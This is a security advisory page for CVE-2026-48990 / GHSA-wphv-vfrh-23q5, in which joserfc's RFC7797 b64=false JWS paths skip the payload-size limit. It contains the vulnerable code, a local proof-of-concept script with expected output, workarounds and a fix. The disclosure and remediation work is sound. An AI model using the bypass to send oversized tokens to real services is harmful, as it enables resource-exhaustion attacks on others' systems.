GHSA-WPHV-VFRH-23Q5

Vulnerability from github – Published: 2026-06-26 20:59 – Updated: 2026-06-26 20:59

Summary

joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization

Details

RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization

Summary

Testing revealed that joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length.

The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length.

This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification.

Affected Product

Package: joserfc
Ecosystem: pip
Audited release: 1.6.5
Audit tag: 1.6.5
Audit commit: 881712980934fb601bed26fe3ae1ec0b7780e6f7
Tested affected releases: 1.3.4, 1.3.5, 1.4.2, 1.6.2, 1.6.3, 1.6.4, 1.6.5
Fixed release: none known

Vulnerability Details

In joserfc 1.6.5, the default JWS registry has max_payload_length = 128000 and exposes validate_payload_size().

The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:

if is_rfc7797_enabled(protected):
    if not payload_segment and payload:
        payload_segment = to_bytes(payload)
    payload = payload_segment

The flattened JSON RFC7797 path has the same pattern:

payload_segment = value["payload"].encode("utf-8")
if is_rfc7797_enabled(member.headers()):
    payload = payload_segment

Neither branch calls registry.validate_payload_size(payload_segment) before accepting the unencoded payload.

Reproduction

The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 b64=false behavior.

Requirements:

python -m pip install "joserfc==1.6.5"

Run:

python joserfc_rfc7797_size_bypass_poc.py

Self-contained proof script:

#!/usr/bin/env python3
import json

import joserfc
from joserfc import jws
from joserfc.jwk import OctKey


def check_compact(name, header, payload, key):
    token = jws.serialize_compact(header, payload, key)
    try:
        obj = jws.deserialize_compact(token, key)
        return {
            "case": name,
            "accepted": True,
            "exception": None,
            "payload_len_after_deserialize": len(obj.payload),
        }
    except Exception as exc:
        return {
            "case": name,
            "accepted": False,
            "exception": type(exc).__name__,
            "error": str(exc),
        }


def check_json(name, protected, payload, key):
    data = jws.serialize_json({"protected": protected}, payload, key)
    try:
        obj = jws.deserialize_json(data, key)
        return {
            "case": name,
            "accepted": True,
            "exception": None,
            "payload_len_after_deserialize": len(obj.payload),
        }
    except Exception as exc:
        return {
            "case": name,
            "accepted": False,
            "exception": type(exc).__name__,
            "error": str(exc),
        }


key = OctKey.import_key("secret-secret-secret")
limit = jws.default_registry.max_payload_length
payload = "A" * (limit + 1)

results = {
    "joserfc_version": joserfc.__version__,
    "default_max_payload_length": limit,
    "payload_len": len(payload),
    "compact": [
        check_compact("normal_b64_true", {"alg": "HS256"}, payload, key),
        check_compact(
            "rfc7797_b64_false",
            {"alg": "HS256", "b64": False, "crit": ["b64"]},
            payload,
            key,
        ),
    ],
    "json": [
        check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key),
        check_json(
            "rfc7797_b64_false_json",
            {"alg": "HS256", "b64": False, "crit": ["b64"]},
            payload,
            key,
        ),
    ],
}
print(json.dumps(results, indent=2, sort_keys=True))

Expected output on 1.6.5 includes:

{
  "default_max_payload_length": 128000,
  "payload_len": 128001,
  "compact": [
    {
      "case": "normal_b64_true",
      "accepted": false,
      "exception": "ExceededSizeError"
    },
    {
      "case": "rfc7797_b64_false",
      "accepted": true,
      "exception": null,
      "payload_len_after_deserialize": 128001
    }
  ],
  "json": [
    {
      "case": "normal_b64_true_json",
      "accepted": false,
      "exception": "ExceededSizeError"
    },
    {
      "case": "rfc7797_b64_false_json",
      "accepted": true,
      "exception": null,
      "payload_len_after_deserialize": 128001
    }
  ]
}

Version Checks

I reproduced the same differential behavior on these releases:

Version	Normal JWS over limit	RFC7797 `b64=false` over limit
1.3.4	`ExceededSizeError`	accepted
1.3.5	`ExceededSizeError`	accepted
1.4.2	`ExceededSizeError`	accepted
1.6.2	`ExceededSizeError`	accepted
1.6.3	`ExceededSizeError`	accepted
1.6.4	`ExceededSizeError`	accepted
1.6.5	`ExceededSizeError`	accepted

The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.

Relationship to Existing Advisories

I found two related public advisories for joserfc, but neither appears to cover this root cause.

GHSA-frfh-8v73-gjg4 / CVE-2025-65015 describes oversized token parts being included in ExceededSizeError messages in older release ranges. The issue described here reproduces in 1.6.5 and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising ExceededSizeError.

GHSA-w5r5-m38g-f9f9 / CVE-2026-27932 describes unbounded PBES2 p2c iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.

Workarounds

Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to joserfc, disabling or disallowing RFC7797 b64=false tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.

Suggested Remediation

Apply registry.validate_payload_size(payload_segment) to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the payload argument should be checked in the same way.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "joserfc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.4"
            },
            {
              "fixed": "1.6.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48990"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T20:59:38Z",
    "nvd_published_at": "2026-06-17T22:16:23Z",
    "severity": "MODERATE"
  },
  "details": "# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization\n\n## Summary\n\nTesting revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`.\n\nThe normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`.\n\nThis creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification.\n\n## Affected Product\n\n- Package: `joserfc`\n- Ecosystem: `pip`\n- Audited release: `1.6.5`\n- Audit tag: `1.6.5`\n- Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7`\n- Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5`\n- Fixed release: none known\n\n## Vulnerability Details\n\nIn `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`.\n\nThe normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:\n\n```text\nif is_rfc7797_enabled(protected):\n    if not payload_segment and payload:\n        payload_segment = to_bytes(payload)\n    payload = payload_segment\n```\n\nThe flattened JSON RFC7797 path has the same pattern:\n\n```text\npayload_segment = value[\"payload\"].encode(\"utf-8\")\nif is_rfc7797_enabled(member.headers()):\n    payload = payload_segment\n```\n\nNeither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload.\n\n## Reproduction\n\nThe proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior.\n\nRequirements:\n\n```bash\npython -m pip install \"joserfc==1.6.5\"\n```\n\nRun:\n\n```bash\npython joserfc_rfc7797_size_bypass_poc.py\n```\n\nSelf-contained proof script:\n\n```python\n#!/usr/bin/env python3\nimport json\n\nimport joserfc\nfrom joserfc import jws\nfrom joserfc.jwk import OctKey\n\n\ndef check_compact(name, header, payload, key):\n    token = jws.serialize_compact(header, payload, key)\n    try:\n        obj = jws.deserialize_compact(token, key)\n        return {\n            \"case\": name,\n            \"accepted\": True,\n            \"exception\": None,\n            \"payload_len_after_deserialize\": len(obj.payload),\n        }\n    except Exception as exc:\n        return {\n            \"case\": name,\n            \"accepted\": False,\n            \"exception\": type(exc).__name__,\n            \"error\": str(exc),\n        }\n\n\ndef check_json(name, protected, payload, key):\n    data = jws.serialize_json({\"protected\": protected}, payload, key)\n    try:\n        obj = jws.deserialize_json(data, key)\n        return {\n            \"case\": name,\n            \"accepted\": True,\n            \"exception\": None,\n            \"payload_len_after_deserialize\": len(obj.payload),\n        }\n    except Exception as exc:\n        return {\n            \"case\": name,\n            \"accepted\": False,\n            \"exception\": type(exc).__name__,\n            \"error\": str(exc),\n        }\n\n\nkey = OctKey.import_key(\"secret-secret-secret\")\nlimit = jws.default_registry.max_payload_length\npayload = \"A\" * (limit + 1)\n\nresults = {\n    \"joserfc_version\": joserfc.__version__,\n    \"default_max_payload_length\": limit,\n    \"payload_len\": len(payload),\n    \"compact\": [\n        check_compact(\"normal_b64_true\", {\"alg\": \"HS256\"}, payload, key),\n        check_compact(\n            \"rfc7797_b64_false\",\n            {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n            payload,\n            key,\n        ),\n    ],\n    \"json\": [\n        check_json(\"normal_b64_true_json\", {\"alg\": \"HS256\"}, payload, key),\n        check_json(\n            \"rfc7797_b64_false_json\",\n            {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n            payload,\n            key,\n        ),\n    ],\n}\nprint(json.dumps(results, indent=2, sort_keys=True))\n```\n\nExpected output on `1.6.5` includes:\n\n```json\n{\n  \"default_max_payload_length\": 128000,\n  \"payload_len\": 128001,\n  \"compact\": [\n    {\n      \"case\": \"normal_b64_true\",\n      \"accepted\": false,\n      \"exception\": \"ExceededSizeError\"\n    },\n    {\n      \"case\": \"rfc7797_b64_false\",\n      \"accepted\": true,\n      \"exception\": null,\n      \"payload_len_after_deserialize\": 128001\n    }\n  ],\n  \"json\": [\n    {\n      \"case\": \"normal_b64_true_json\",\n      \"accepted\": false,\n      \"exception\": \"ExceededSizeError\"\n    },\n    {\n      \"case\": \"rfc7797_b64_false_json\",\n      \"accepted\": true,\n      \"exception\": null,\n      \"payload_len_after_deserialize\": 128001\n    }\n  ]\n}\n```\n\n## Version Checks\n\nI reproduced the same differential behavior on these releases:\n\n| Version | Normal JWS over limit | RFC7797 `b64=false` over limit |\n| --- | --- | --- |\n| 1.3.4 | `ExceededSizeError` | accepted |\n| 1.3.5 | `ExceededSizeError` | accepted |\n| 1.4.2 | `ExceededSizeError` | accepted |\n| 1.6.2 | `ExceededSizeError` | accepted |\n| 1.6.3 | `ExceededSizeError` | accepted |\n| 1.6.4 | `ExceededSizeError` | accepted |\n| 1.6.5 | `ExceededSizeError` | accepted |\n\nThe exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.\n\n## Relationship to Existing Advisories\n\nI found two related public advisories for `joserfc`, but neither appears to cover this root cause.\n\n`GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`.\n\n`GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.\n\n## Workarounds\n\nBefore a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.\n\n## Suggested Remediation\n\nApply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.",
  "id": "GHSA-wphv-vfrh-23q5",
  "modified": "2026-06-26T20:59:38Z",
  "published": "2026-06-26T20:59:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-wphv-vfrh-23q5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48990"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/joserfc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/releases/tag/1.6.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization"
}

CVE-2026-48990 (GCVE-0-2026-48990)

Vulnerability from cvelistv5 – Published: 2026-06-17 21:08 – Updated: 2026-06-18 12:51

Title

joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization

Summary

joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions 1.3.4 through 1.6.5, joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length, which can lead to resource exhaustion. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length. Applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification have a moderate availability risk. This issue has been fixed in version 1.6.7.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/authlib/joserfc/security/advis…	x_refsource_CONFIRM
https://github.com/authlib/joserfc/releases/tag/1.6.7	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
authlib	joserfc	Affected: < 1.6.7

Show details on NVD website

JSON

To clipboard

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                "id": "CVE-2026-48990",
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                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
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                "role": "CISA Coordinator",
                "timestamp": "2026-06-18T12:51:44.745917Z",
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            "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-wphv-vfrh-23q5"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "joserfc",
          "vendor": "authlib",
          "versions": [
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          "value": "joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions 1.3.4 through 1.6.5, joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length, which can lead to resource exhaustion. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length. Applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification have a moderate availability risk. This issue has been fixed in version 1.6.7."
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      ],
      "metrics": [
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          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
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        "advisory": "GHSA-wphv-vfrh-23q5",
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      "title": "joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization"
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  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-WPHV-VFRH-23Q5

RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization

Summary

Affected Product

Vulnerability Details

Reproduction

Version Checks

Relationship to Existing Advisories

Workarounds

Suggested Remediation

CVE-2026-48990 (GCVE-0-2026-48990)

Tags

Sightings

Nomenclature